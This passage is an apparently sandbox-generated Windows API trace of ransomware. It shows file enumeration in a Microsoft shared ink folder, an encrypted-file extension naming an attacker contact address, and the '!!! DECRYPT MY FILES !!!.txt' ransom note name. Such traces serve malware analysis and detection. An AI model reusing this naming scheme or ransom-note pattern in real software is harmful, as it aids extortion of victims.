cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.146] GetProcessHeap () returned 0x630000 [0114.146] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8498, Size=0x60) returned 0x6e8568 [0114.146] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0114.146] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 1 [0114.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml") returned 0x3c [0114.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.146] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.146] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.146] GetProcessHeap () returned 0x630000 [0114.146] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8568, Size=0x64) returned 0x697380 [0114.147] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0114.147] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 1 [0114.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml") returned 0x3d [0114.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.147] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.147] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.147] GetProcessHeap () returned 0x630000 [0114.147] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697380, Size=0x68) returned 0x6970e0 [0114.147] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0114.147] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll", len=0x45 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 1 [0114.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll") returned 0x45 [0114.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.148] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.148] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.148] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0114.148] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 1 [0114.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml") returned 0x3d [0114.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.148] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.148] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.148] GetProcessHeap () returned 0x630000 [0114.148] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6970e0, Size=0x6c) returned 0x6ff0c28 [0114.149] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0114.149] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 1 [0114.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml") returned 0x3d [0114.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.149] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.149] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.149] GetProcessHeap () returned 0x630000 [0114.149] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ff0c28, Size=0x70) returned 0x6ff1600 [0114.149] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0114.149] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 1 [0114.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml") returned 0x3c [0114.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.150] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.150] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.150] GetProcessHeap () returned 0x630000 [0114.150] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ff1600, Size=0x74) returned 0x68fc78 [0114.150] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0114.150] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 1 [0114.150] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml") returned 0x3c [0114.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.150] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.150] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.151] GetProcessHeap () returned 0x630000 [0114.151] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68fc78, Size=0x78) returned 0x68ff78 [0114.151] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0114.151] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 1 [0114.151] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml") returned 0x3d [0114.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.151] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.151] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.151] GetProcessHeap () returned 0x630000 [0114.151] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68ff78, Size=0x7c) returned 0x727838 [0114.151] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0114.151] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 1 [0114.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml") returned 0x3c [0114.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.152] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.152] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.152] GetProcessHeap () returned 0x630000 [0114.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x727838, Size=0x80) returned 0x727b68 [0114.152] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0114.152] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml") returned 1 [0114.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml") returned 0x3d [0114.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.555] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.555] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.555] GetProcessHeap () returned 0x630000 [0114.555] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1220 [0114.556] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0114.556] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 1 [0114.556] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml") returned 0x3d [0114.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.556] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.556] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.556] GetProcessHeap () returned 0x630000 [0114.556] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1220, Size=0x10) returned 0x6b1418 [0114.556] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0114.556] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 1 [0114.556] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml") returned 0x3d [0114.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.557] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.557] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.557] GetProcessHeap () returned 0x630000 [0114.557] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x14) returned 0x6b01f8 [0114.557] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0114.557] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll", len=0x49 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 1 [0114.557] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll") returned 0x49 [0114.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.557] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, 